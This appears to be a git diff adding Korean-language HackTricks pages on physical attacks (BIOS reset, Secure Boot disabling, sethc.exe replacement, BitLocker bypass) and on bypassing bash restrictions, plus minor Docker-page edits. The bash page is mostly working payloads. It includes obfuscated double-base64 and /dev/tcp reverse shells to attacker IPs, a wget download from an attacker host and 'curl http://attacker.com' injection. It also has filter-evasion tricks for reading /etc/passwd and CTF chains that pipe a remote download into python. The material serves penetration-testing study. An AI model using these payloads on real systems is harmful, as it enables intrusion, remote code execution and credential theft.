가능한 경우, 시작 스크립트 내의 취약점을 이용하여 장치에 대한 지속적인 액세스를 얻을 수 있습니다. 이러한 취약점은 시작 스크립트가 SD 카드 및 루트 파일 시스템 외부에 데이터를 저장하는 데 사용되는 플래시 볼륨과 같은 신뢰할 수 없는 마운트된 위치에 있는 코드를 참조하거나 [심볼릭 링크](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)하는 경우에 발생합니다.
|
||||
|
||||
## 참고 자료
|
||||
* 자세한 정보는 [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)를 확인하세요.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
81
hardware-physical-access/physical-attacks.md
Normal file
81
hardware-physical-access/physical-attacks.md
Normal file
|
@ -0,0 +1,81 @@
|
|||
# Physical Attacks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## BIOS 비밀번호 복구 및 시스템 보안
|
||||
|
||||
**BIOS 재설정**은 여러 가지 방법으로 수행할 수 있습니다. 대부분의 마더보드에는 약 **30분 동안 제거**되면 BIOS 설정과 비밀번호를 포함하여 재설정하는 **배터리**가 포함되어 있습니다. 또는 **마더보드의 점퍼**를 조정하여 특정 핀을 연결하여 이러한 설정을 재설정할 수 있습니다.
|
||||
|
||||
하드웨어 조정이 불가능하거나 실용적이지 않은 경우, **소프트웨어 도구**를 사용하여 해결책을 제공합니다. **Kali Linux**와 같은 배포판을 사용하여 **Live CD/USB**에서 시스템을 실행하면 _**killCmos**_ 및 _**CmosPWD**_와 같은 도구를 사용하여 BIOS 비밀번호를 복구할 수 있습니다.
|
||||
|
||||
BIOS 비밀번호를 모르는 경우, 잘못된 비밀번호를 **세 번** 입력하면 일반적으로 오류 코드가 발생합니다. 이 코드는 [https://bios-pw.org](https://bios-pw.org)와 같은 웹 사이트에서 사용 가능한 비밀번호를 검색하는 데 사용할 수 있습니다.
|
||||
|
||||
### UEFI 보안
|
||||
|
||||
전통적인 BIOS 대신 **UEFI**를 사용하는 현대 시스템의 경우, **chipsec** 도구를 사용하여 UEFI 설정을 분석하고 수정할 수 있습니다. 다음 명령을 사용하여 **Secure Boot**를 비활성화할 수 있습니다:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM 분석 및 Cold Boot 공격
|
||||
|
||||
RAM은 전원이 차단된 후에도 데이터를 일시적으로 보유하며, 일반적으로 **1\~2분 동안** 지속됩니다. 이 지속 시간은 액체 질소와 같은 차가운 물질을 적용하여 **10분**까지 연장될 수 있습니다. 이 확장된 기간 동안 **dd.exe** 및 **volatility**와 같은 도구를 사용하여 **메모리 덤프**를 생성하여 분석할 수 있습니다.
|
||||
|
||||
### 직접 메모리 접근 (DMA) 공격
|
||||
|
||||
**INCEPTION**은 **FireWire** 및 **Thunderbolt**와 같은 인터페이스와 호환되는 DMA를 통한 **물리적 메모리 조작**을 위한 도구입니다. 이를 사용하여 메모리를 패치하여 모든 비밀번호를 허용하도록 메모리를 우회할 수 있습니다. 그러나 이는 **Windows 10** 시스템에는 효과가 없습니다.
|
||||
|
||||
### 시스템 액세스를 위한 Live CD/USB
|
||||
|
||||
_**sethc.exe**_ 또는 _**Utilman.exe**_과 같은 시스템 이진 파일을 _**cmd.exe**_의 사본으로 변경하면 시스템 권한이 있는 명령 프롬프트를 제공할 수 있습니다. **chntpw**와 같은 도구를 사용하여 Windows 설치의 **SAM** 파일을 편집하여 비밀번호를 변경할 수 있습니다.
|
||||
|
||||
**Kon-Boot**은 Windows 시스템에 암호를 모르고 로그인하는 데 도움이 되는 도구로, Windows 커널이나 UEFI를 일시적으로 수정합니다. 자세한 정보는 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)에서 찾을 수 있습니다.
|
||||
|
||||
### Windows 보안 기능 다루기
|
||||
|
||||
#### 부팅 및 복구 바로 가기
|
||||
|
||||
* **Supr**: BIOS 설정에 액세스합니다.
|
||||
* **F8**: 복구 모드로 진입합니다.
|
||||
* Windows 배너 이후 **Shift**를 누르면 자동 로그인을 우회할 수 있습니다.
|
||||
|
||||
#### BAD USB 장치
|
||||
|
||||
**Rubber Ducky** 및 **Teensyduino**와 같은 장치는 대상 컴퓨터에 연결되었을 때 미리 정의된 페이로드를 실행할 수 있는 **bad USB** 장치를 생성하는 플랫폼으로 사용됩니다.
|
||||
|
||||
#### 볼륨 그림자 복사
|
||||
|
||||
관리자 권한을 사용하면 PowerShell을 통해 **SAM** 파일을 포함한 민감한 파일의 사본을 생성할 수 있습니다.
|
||||
|
||||
### BitLocker 암호 우회
|
||||
|
||||
BitLocker 암호는 메모리 덤프 파일 (**MEMORY.DMP**)에서 **복구 비밀번호**를 찾으면 우회될 수 있습니다. **Elcomsoft Forensic Disk Decryptor** 또는 **Passware Kit Forensic**와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
### 복구 키 추가를 위한 사회 공학
|
||||
|
||||
사회 공학 전술을 사용하여 새로운 BitLocker 복구 키를 추가할 수 있으며, 사용자를 설득하여 새로운 복구 키를 0으로 구성하여 복호화 프로세스를 간소화할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
|
@ -0,0 +1,359 @@
|
|||
# 리눅스 제한 우회
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 일반적인 제한 우회
|
||||
|
||||
### 리버스 쉘
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### 짧은 Rev 쉘
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### 우회 경로 및 금지된 단어
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### 금지된 공백 우회하기
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### 역슬래시 및 슬래시 우회
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### 파이프 우회
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### 16진수 인코딩을 사용하여 우회하기
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### IP 우회
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### 시간 기반 데이터 유출
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### 환경 변수에서 문자 가져오기
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS 데이터 유출
|
||||
|
||||
예를 들어 **burpcollab** 또는 [**pingb**](http://pingb.in)를 사용할 수 있습니다.
|
||||
|
||||
### 내장 함수
|
||||
|
||||
외부 함수를 실행할 수 없고 **제한된 내장 함수만 사용하여 RCE를 얻을 수 있는 경우**, 이를 우회하기 위한 유용한 트릭이 있습니다. 일반적으로 **모든** **내장 함수를 사용할 수 없을 것**이므로, **모든 옵션을 알고** 감옥을 우회하려고 시도해야 합니다. [**devploit**](https://twitter.com/devploit)의 아이디어에서 나온 것입니다.\
|
||||
먼저 모든 [**쉘 내장 함수**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**를 확인**하십시오. 그런 다음 여기에 몇 가지 **권장 사항**이 있습니다:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### 다중언어 명령 삽입
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### 잠재적인 정규 표현식 우회
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### 5글자로 RCE 우회
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### 4글자로 RCE 실행하기
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## 읽기 전용/Noexec/Distroless 우회
|
||||
|
||||
만약 **읽기 전용 및 noexec 보호** 또는 distroless 컨테이너 내부에 있다면, 여전히 **임의의 이진 파일을 실행하는 방법이 있습니다. 심지어 셸을 실행할 수도 있습니다!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Chroot 및 다른 감옥 우회
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 및 더 많은 정보
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# Docker 보안
|
||||
# Docker Security
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -33,10 +33,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
Docker 엔진은 로컬로는 Unix 소켓을 통해, 원격으로는 HTTP를 사용하여 액세스할 수 있습니다. 원격 액세스의 경우, 기밀성, 무결성 및 인증을 보장하기 위해 HTTPS 및 **TLS**를 사용하는 것이 중요합니다.
|
||||
|
||||
Ubuntu 시스템에서 Docker는 기본적으로 `unix:///var/run/docker.sock`에서 Unix 소켓을 수신합니다. Docker의 시작 옵션은 `/etc/default/docker`에 정의됩니다. Docker API 및 클라이언트에 원격 액세스를 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓으로 노출하세요:
|
||||
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
|
||||
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. 연결을 안전하게 하려면 HTTPS를 사용하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 방법이 있습니다:
|
||||
|
||||
1. 클라이언트가 서버의 신원을 확인합니다.
|
||||
|
@ -61,6 +63,7 @@ sudo service docker restart
|
|||
* **`docker scan`**
|
||||
|
||||
**`docker scan`** 명령을 사용하면 이미지 이름 또는 ID를 사용하여 기존 Docker 이미지를 스캔할 수 있습니다. 예를 들어, 다음 명령을 실행하여 hello-world 이미지를 스캔할 수 있습니다:
|
||||
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -76,32 +79,41 @@ Licenses: enabled
|
|||
|
||||
Note that we do not currently have vulnerability data for your image.
|
||||
```
|
||||
|
||||
* [**`trivy`**](https://github.com/aquasecurity/trivy)
|
||||
|
||||
```bash
|
||||
trivy -q -f json <container_name>:<tag>
|
||||
```
|
||||
|
||||
* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
|
||||
|
||||
```bash
|
||||
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
|
||||
```
|
||||
|
||||
* [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
|
||||
|
||||
```bash
|
||||
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
```
|
||||
|
||||
### Docker 이미지 서명
|
||||
|
||||
도커 이미지 서명은 컨테이너에서 사용되는 이미지의 보안과 무결성을 보장합니다. 다음은 간략한 설명입니다:
|
||||
|
||||
- **도커 콘텐츠 신뢰(Docker Content Trust)**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 하는 Notary 프로젝트를 활용합니다. 자세한 정보는 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하십시오.
|
||||
- 도커 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정하십시오. 이 기능은 도커 버전 1.10 이후에 기본적으로 꺼져 있습니다.
|
||||
